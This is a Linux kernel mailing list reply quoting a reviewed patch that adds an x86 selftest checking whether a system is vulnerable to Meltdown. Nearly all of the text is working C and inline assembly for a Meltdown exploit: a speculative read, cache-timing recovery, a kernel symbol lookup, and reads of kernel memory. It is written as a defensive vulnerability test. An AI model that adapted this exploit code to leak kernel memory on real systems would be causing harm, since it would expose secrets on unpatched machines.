Date:   Fri, 20 Jan 2023 02:10:01 +0000
From:   "Lu, Aaron" <aaron.lu@...el.com>
To:     "boldin.pavel@...il.com" <boldin.pavel@...il.com>
CC:     "Hansen, Dave" <dave.hansen@...el.com>,
        "github@....me" <github@....me>,
        "pboldin@...udlinux.com" <pboldin@...udlinux.com>,
        "linux-kselftest@...r.kernel.org" <linux-kselftest@...r.kernel.org>,
        "michael.schwarz91@...il.com" <michael.schwarz91@...il.com>,
        "gregkh@...uxfoundation.org" <gregkh@...uxfoundation.org>,
        "linux-kernel@...r.kernel.org" <linux-kernel@...r.kernel.org>,
        "Gruss, Daniel" <daniel.gruss@...k.tugraz.at>,
        "raphaelsc@...lladb.com" <raphaelsc@...lladb.com>,
        "i@...udlinux.com" <i@...udlinux.com>
Subject: Re: [PATCH] selftest/x86/meltdown: Add a selftest for meltdown

On Thu, 2023-01-19 at 19:15 +0200, Pavel Boldin wrote:
> > Signed-off-by: Aaron Lu <aaron.lu@...el.com>
> Reviewed-by: Pavel Boldin <boldin.pavel@...il.com>

Thanks!

> 
> --
> Sincerely,
> Pavel Boldin
> 
> P.S. Sorry for lagging, electricity & free time are hard to find
> these days.

Never mind, appreciate your time to review this patch.

Best Regards,
Aaron

> 
> > diff --git a/tools/testing/selftests/x86/Makefile
> > b/tools/testing/selftests/x86/Makefile
> > index 0388c4d60af0..36f99c360a56 100644
> > --- a/tools/testing/selftests/x86/Makefile
> > +++ b/tools/testing/selftests/x86/Makefile
> > @@ -13,7 +13,7 @@ CAN_BUILD_WITH_NOPIE := $(shell ./check_cc.sh
> > "$(CC)" trivial_program.c -no-pie)
> >  TARGETS_C_BOTHBITS := single_step_syscall sysret_ss_attrs
> > syscall_nt test_mremap_vdso \
> >                         check_initial_reg_state sigreturn iopl
> > ioperm \
> >                         test_vsyscall mov_ss_trap \
> > -                       syscall_arg_fault fsgsbase_restore
> > sigaltstack
> > +                       syscall_arg_fault fsgsbase_restore
> > sigaltstack meltdown
> >  TARGETS_C_32BIT_ONLY := entry_from_vm86 test_syscall_vdso
> > unwind_vdso \
> >                         test_FCMOV test_FCOMI test_FISTTP \
> >                         vdso_restorer
> > diff --git a/tools/testing/selftests/x86/meltdown.c
> > b/tools/testing/selftests/x86/meltdown.c
> > new file mode 100644
> > index 000000000000..fcb211dc9038
> > --- /dev/null
> > +++ b/tools/testing/selftests/x86/meltdown.c
> > @@ -0,0 +1,529 @@
> > +// SPDX-License-Identifier: GPL-2.0-or-later
> > +/*
> > + * Copyright (c) 2018 Pavel Boldin <pboldin@...udlinux.com>
> > + *
> > https://github.com/linux-test-project/ltp/blob/master/testcases/cve/meltdown.c
> > + */
> > +
> > +#define _GNU_SOURCE
> > +#include <stdio.h>
> > +#include <stdlib.h>
> > +#include <stdint.h>
> > +#include <stdarg.h>
> > +#include <string.h>
> > +#include <signal.h>
> > +#include <ucontext.h>
> > +#include <unistd.h>
> > +#include <fcntl.h>
> > +#include <ctype.h>
> > +#include <sys/utsname.h>
> > +#include <sys/mman.h>
> > +
> > +#define PAGE_SHIFT     12
> > +#define PAGE_SIZE      0x1000
> > +#define PUD_SHIFT       30
> > +#define PUD_SIZE        (1UL << PUD_SHIFT)
> > +#define PUD_MASK        (~(PUD_SIZE - 1))
> > +
> > +size_t cache_miss_threshold;
> > +unsigned long directmap_base;
> > +
> > +#define TARGET_OFFSET  9
> > +#define TARGET_SIZE    (1 << TARGET_OFFSET)
> > +#define BITS_BY_READ   2
> > +
> > +static inline uint64_t rdtsc(void)
> > +{
> > +       uint32_t eax, edx;
> > +       uint64_t tsc_val;
> > +       /*
> > +        * The lfence is to wait (on Intel CPUs) until all previous
> > +        * instructions have been executed. If software requires
> > RDTSC to be
> > +        * executed prior to execution of any subsequent
> > instruction, it can
> > +        * execute LFENCE immediately after RDTSC
> > +        *                                              */
> > +       __asm__ __volatile__("lfence; rdtsc; lfence" : "=a"(eax),
> > "=d"(edx));
> > +       tsc_val = ((uint64_t)edx) << 32 | eax;
> > +       return tsc_val;
> > +}
> > +
> > +static inline void clflush(volatile void *__p)
> > +{
> > +       asm volatile("clflush %0" : "+m" (*(volatile char *)__p));
> > +}
> > +
> > +static char target_array[BITS_BY_READ * TARGET_SIZE];
> > +
> > +static void clflush_target(void)
> > +{
> > +       int i;
> > +
> > +       for (i = 0; i < BITS_BY_READ; i++)
> > +               clflush(&target_array[i * TARGET_SIZE]);
> > +}
> > +
> > +extern char failshere[];
> > +extern char stopspeculate[];
> > +
> > +static void __attribute__((noinline)) speculate(unsigned long
> > addr, char bit)
> > +{
> > +       register char mybit asm ("cl") = bit;
> > +#ifdef __x86_64__
> > +       asm volatile (
> > +               "1:\n\t"
> > +
> > +               ".rept 300\n\t"
> > +               "add $0x141, %%rax\n\t"
> > +               ".endr\n"
> > +
> > +               "failshere:\n\t"
> > +               "movb (%[addr]), %%al\n\t"
> > +               "ror %[bit], %%rax\n\t"
> > +               "and $1, %%rax\n\t"
> > +               "shl $9, %%rax\n\t"
> > +               "jz 1b\n\t"
> > +
> > +               "movq (%[target], %%rax, 1), %%rbx\n"
> > +
> > +               "stopspeculate: \n\t"
> > +               "nop\n\t"
> > +               :
> > +               : [target] "r" (target_array),
> > +                 [addr] "r" (addr),
> > +                 [bit] "r" (mybit)
> > +               : "rax", "rbx"
> > +       );
> > +#else /* defined(__x86_64__) */
> > +       asm volatile (
> > +               "1:\n\t"
> > +
> > +               ".rept 300\n\t"
> > +               "add $0x141, %%eax\n\t"
> > +               ".endr\n"
> > +
> > +               "failshere:\n\t"
> > +               "movb (%[addr]), %%al\n\t"
> > +               "ror %[bit], %%eax\n\t"
> > +               "and $1, %%eax\n\t"
> > +               "shl $9, %%eax\n\t"
> > +               "jz 1b\n\t"
> > +
> > +               "movl (%[target], %%eax, 1), %%ebx\n"
> > +
> > +               "stopspeculate: \n\t"
> > +               "nop\n\t"
> > +               :
> > +               : [target] "r" (target_array),
> > +                 [addr] "r" (addr),
> > +                 [bit] "r" (mybit)
> > +               : "rax", "ebx"
> > +       );
> > +#endif
> > +}
> > +
> > +#ifdef __i386__
> > +# define REG_RIP       REG_EIP
> > +#endif
> > +
> > +static void sigsegv(int sig, siginfo_t *siginfo, void *context)
> > +{
> > +       ucontext_t *ucontext = context;
> > +       unsigned long *prip = (unsigned long *)&ucontext-
> > >uc_mcontext.gregs[REG_RIP];
> > +       if (*prip != (unsigned long)failshere) {
> > +               printf("Segmentation fault at unexpected location
> > %lx\n", *prip);
> > +               abort();
> > +       }
> > +       *prip = (unsigned long)stopspeculate;
> > +       return;
> > +}
> > +
> > +static int set_signal(void)
> > +{
> > +       struct sigaction act = {
> > +               .sa_sigaction = sigsegv,
> > +               .sa_flags = SA_SIGINFO,
> > +       };
> > +
> > +       return sigaction(SIGSEGV, &act, NULL);
> > +}
> > +
> > +static inline int get_access_time(volatile char *addr)
> > +{
> > +       unsigned long long time1, time2;
> > +       volatile int j __attribute__((__unused__));
> > +
> > +       time1 = rdtsc();
> > +       j = *addr;
> > +       time2 = rdtsc();
> > +
> > +       return time2 - time1;
> > +}
> > +
> > +static int cache_hit_threshold;
> > +static int hist[BITS_BY_READ];
> > +
> > +static void check(void)
> > +{
> > +       int i, time;
> > +       volatile char *addr;
> > +
> > +       for (i = 0; i < BITS_BY_READ; i++) {
> > +               addr = &target_array[i * TARGET_SIZE];
> > +
> > +               time = get_access_time(addr);
> > +
> > +               if (time <= cache_hit_threshold)
> > +                       hist[i]++;
> > +       }
> > +}
> > +
> > +#define CYCLES 10000
> > +static int readbit(int fd, unsigned long addr, char bit)
> > +{
> > +       int i, ret;
> > +       static char buf[256];
> > +
> > +       memset(hist, 0, sizeof(hist));
> > +
> > +       for (i = 0; i < CYCLES; i++) {
> > +               /*
> > +                * Make the to-be-stolen data cache and tlb hot
> > +                * to increase success rate.
> > +                */
> > +               ret = pread(fd, buf, sizeof(buf), 0);
> > +               if (ret < 0)
> > +                       printf("[INFO]\tCan't read fd");
> > +
> > +               clflush_target();
> > +
> > +               speculate(addr, bit);
> > +               check();
> > +       }
> > +
> > +       if (hist[1] > CYCLES / 10)
> > +               return 1;
> > +       return 0;
> > +}
> > +
> > +static int readbyte(int fd, unsigned long addr)
> > +{
> > +       int bit, res = 0;
> > +
> > +       for (bit = 0; bit < 8; bit ++ )
> > +               res |= (readbit(fd, addr, bit) << bit);
> > +
> > +       return res;
> > +}
> > +
> > +static int mysqrt(long val)
> > +{
> > +       int root = val / 2, prevroot = 0, i = 0;
> > +
> > +       while (prevroot != root && i++ < 100) {
> > +               prevroot = root;
> > +               root = (val / root + root) / 2;
> > +       }
> > +
> > +       return root;
> > +}
> > +
> > +#define ESTIMATE_CYCLES        1000000
> > +static void set_cache_hit_threshold(void)
> > +{
> > +       long cached, uncached, i;
> > +
> > +       for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > +               cached += get_access_time(target_array);
> > +
> > +       for (cached = 0, i = 0; i < ESTIMATE_CYCLES; i++)
> > +               cached += get_access_time(target_array);
> > +
> > +       for (uncached = 0, i = 0; i < ESTIMATE_CYCLES; i++) {
> > +               clflush(target_array);
> > +               uncached += get_access_time(target_array);
> > +       }
> > +
> > +       cached /= ESTIMATE_CYCLES;
> > +       uncached /= ESTIMATE_CYCLES;
> > +
> > +       cache_hit_threshold = mysqrt(cached * uncached);
> > +
> > +       printf("[INFO]\taccess time: cached = %ld, uncached = %ld,
> > threshold = %d\n",
> > +               cached, uncached, cache_hit_threshold);
> > +}
> > +
> > +static unsigned long find_symbol_in_file(const char *filename,
> > const char *symname)
> > +{
> > +       unsigned long addr;
> > +       char type, *buf;
> > +       int found;
> > +       FILE *fp;
> > +
> > +       fp = fopen(filename, "r");
> > +       if (!fp) {
> > +               printf("[INFO]\tFailed to open %s\n", filename);
> > +               return 0;
> > +       }
> > +
> > +       buf = malloc(4096);
> > +       if (!buf)
> > +               return 0;
> > +
> > +       found = 0;
> > +       while (fscanf(fp, "%lx %c %s\n", &addr, &type, buf)) {
> > +               if (!strcmp(buf, symname)) {
> > +                       found = 1;
> > +                       break;
> > +               }
> > +       }
> > +
> > +       free(buf);
> > +       fclose(fp);
> > +
> > +       return found ? addr : 0;
> > +}
> > +
> > +static unsigned long find_kernel_symbol(const char *name)
> > +{
> > +       char systemmap[256];
> > +       struct utsname utsname;
> > +       unsigned long addr;
> > +
> > +       addr = find_symbol_in_file("/proc/kallsyms", name);
> > +       if (addr)
> > +               return addr;
> > +
> > +       if (uname(&utsname) < 0)
> > +               return 0;
> > +       sprintf(systemmap, "/boot/System.map-%s", utsname.release);
> > +       addr = find_symbol_in_file(systemmap, name);
> > +       return addr;
> > +}
> > +
> > +static unsigned long saved_cmdline_addr;
> > +static int spec_fd;
> > +
> > +#define READ_SIZE 32
> > +
> > +static int test_read_saved_command_line(void)
> > +{
> > +       unsigned int i, score = 0, ret;
> > +       unsigned long addr;
> > +       unsigned long size;
> > +       char read[READ_SIZE] = { 0 };
> > +       char expected[READ_SIZE] = { 0 };
> > +       int expected_len;
> > +
> > +       saved_cmdline_addr =
> > find_kernel_symbol("saved_command_line");
> > +       if (!saved_cmdline_addr) {
> > +               printf("[SKIP]\tCan not find symbol
> > saved_command_line\n");
> > +               return 0;
> > +       }
> > +       printf("[INFO]\tsaved_cmdline_addr: 0x%lx\n",
> > saved_cmdline_addr);
> > +
> > +       spec_fd = open("/proc/cmdline", O_RDONLY);
> > +       if (spec_fd == -1) {
> > +               printf("[SKIP]\tCan not open /proc/cmdline\n");
> > +               return 0;
> > +       }
> > +
> > +       expected_len = pread(spec_fd, expected, sizeof(expected),
> > 0);
> > +       if (expected_len < 0) {
> > +               printf("[SKIP]\tCan't read /proc/cmdline\n");
> > +               return 0;
> > +       }
> > +
> > +       /* read address of saved_cmdline_addr */
> > +       addr = saved_cmdline_addr;
> > +       size = sizeof(addr);
> > +       for (i = 0; i < size; i++) {
> > +               ret = readbyte(spec_fd, addr);
> > +               read[i] = ret;
> > +               addr++;
> > +       }
> > +
> > +       /* read value pointed to by saved_cmdline_addr */
> > +       memcpy(&addr, read, sizeof(addr));
> > +       memset(read, 0, sizeof(read));
> > +       printf("[INFO]\tsaved_command_line: 0x%lx\n", addr);
> > +       size = expected_len;
> > +
> > +       if (!addr)
> > +               goto done;
> > +
> > +       for (i = 0; i < size; i++) {
> > +               ret = readbyte(spec_fd, addr);
> > +               read[i] = ret;
> > +               addr++;
> > +       }
> > +
> > +       for (i = 0; i < size; i++)
> > +               if (expected[i] == read[i])
> > +                       score++;
> > +
> > +done:
> > +       if (score > size / 2) {
> > +               printf("[FAIL]\ttest_read_saved_command_line: both
> > high and low kernel mapping leak found.\n");
> > +               ret = -1;
> > +       } else {
> > +               printf("[OK]\ttest_read_saved_command_line: no leak
> > found.\n");
> > +               ret = 0;
> > +       }
> > +
> > +       close(spec_fd);
> > +
> > +       return ret;
> > +}
> > +
> > +static int get_directmap_base(void)
> > +{
> > +       char *buf;
> > +       FILE *fp;
> > +       size_t n;
> > +       int ret;
> > +
> > +       fp = fopen("/sys/kernel/debug/page_tables/kernel", "r");
> > +       if (!fp)
> > +               return -1;
> > +
> > +       buf = NULL;
> > +       ret = -1;
> > +       while (getline(&buf, &n, fp) != -1) {
> > +               if (!strstr(buf, "Kernel Mapping"))
> > +                       continue;
> > +
> > +               if (getline(&buf, &n, fp) != -1 &&
> > +                   sscanf(buf, "0x%lx", &directmap_base) == 1) {
> > +                      
> > printf("[INFO]\tdirectmap_base=0x%lx/0x%lx\n", directmap_base,
> > directmap_base & PUD_MASK);
> > +                       directmap_base &= PUD_MASK;
> > +                       ret = 0;
> > +                       break;
> > +               }
> > +       }
> > +
> > +       fclose(fp);
> > +       free(buf);
> > +       return ret;
> > +}
> > +
> > +static int virt_to_phys(unsigned long virt, unsigned long *phys)
> > +{
> > +       unsigned long pfn;
> > +       uint64_t val;
> > +       int fd, ret;
> > +
> > +       fd = open("/proc/self/pagemap", O_RDONLY);
> > +       if (fd == -1) {
> > +               printf("[INFO]\tFailed to open pagemap\n");
> > +               return -1;
> > +       }
> > +
> > +       ret = pread(fd, &val, sizeof(val), (virt >> PAGE_SHIFT) *
> > sizeof(uint64_t));
> > +       if (ret == -1) {
> > +               printf("[INFO]\tFailed to read pagemap\n");
> > +               goto out;
> > +       }
> > +
> > +       if (!(val & (1ULL << 63))) {
> > +               printf("[INFO]\tPage not present according to
> > pagemap\n");
> > +               ret = -1;
> > +               goto out;
> > +       }
> > +
> > +       pfn = val & ((1ULL << 55) - 1);
> > +       if (pfn == 0) {
> > +               printf("[INFO]\tNeed CAP_SYS_ADMIN to show pfn\n");
> > +               ret = -1;
> > +               goto out;
> > +       }
> > +
> > +       ret = 0;
> > +       *phys = (pfn << PAGE_SHIFT) | (virt & (PAGE_SIZE - 1));
> > +
> > +out:
> > +       close(fd);
> > +       return ret;
> > +}
> > +
> > +static int test_read_local_var(void)
> > +{
> > +       char path[] = "/tmp/meltdown.XXXXXX";
> > +       char string[] = "test string";
> > +       unsigned long phys;
> > +       int i, len, ret;
> > +       char *result;
> > +       void *p;
> > +
> > +       if (get_directmap_base() == -1) {
> > +               printf("[SKIP]\tFailed to get directmap base. Need
> > root and CONFIG_PTDUMP_DEBUGFS\n");
> > +               return 0;
> > +       }
> > +
> > +       spec_fd = mkstemp(path);
> > +       if (spec_fd == -1) {
> > +               printf("[SKIP]\tCan not open %s\n", path);
> > +               return 0;
> > +       }
> > +       ftruncate(spec_fd, 0x1000);
> > +
> > +       p = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED,
> > spec_fd, 0);
> > +       if (p == MAP_FAILED) {
> > +               printf("[SKIP]\tmmap spec_fd failed\n");
> > +               return 0;
> > +       }
> > +       memcpy(p, string, sizeof(string));
> > +
> > +       if (virt_to_phys((unsigned long)p, &phys) == -1) {
> > +               printf("[SKIP]\tCan not convert virtual address to
> > physical address\n");
> > +               return 0;
> > +       }
> > +
> > +       len = strlen(string);
> > +       result = malloc(len + 1);
> > +       if (!result) {
> > +               printf("[SKIP]\tNot enough memory for malloc\n");
> > +               return 0;
> > +       }
> > +       memset(result, 0, len + 1);
> > +
> > +       for (i = 0; i < len; i++, phys++) {
> > +               result[i] = readbyte(spec_fd, directmap_base +
> > phys);
> > +               if (result[i] == 0)
> > +                       break;
> > +       }
> > +
> > +       ret = !strncmp(string, result, len);
> > +       if (ret)
> > +               printf("[FAIL]\ttest_read_local_var: low kernel
> > mapping leak found.\n");
> > +       else
> > +               printf("[OK]\ttest_read_local_var: no leak
> > found.\n");
> > +
> > +       free(result);
> > +       munmap(p, 0x1000);
> > +       close(spec_fd);
> > +
> > +       return ret;
> > +}
> > +
> > +int main(void)
> > +{
> > +       int ret1, ret2;
> > +
> > +       printf("[RUN]\tTest if system is vulnerable to
> > meltdown\n");
> > +
> > +       set_cache_hit_threshold();
> > +
> > +       memset(target_array, 1, sizeof(target_array));
> > +
> > +       if (set_signal() < 0) {
> > +               printf("[SKIP]\tCan not set handler for
> > segfault\n");
> > +               return 0;
> > +       }
> > +
> > +       ret1 = test_read_local_var();
> > +       ret2 = test_read_saved_command_line();
> > +
> > +       if (ret1 || ret2)
> > +               return -1;
> > +
> > +       return 0;
> > +}
> > --
> > 2.39.0
> > 

Powered by blists - more mailing lists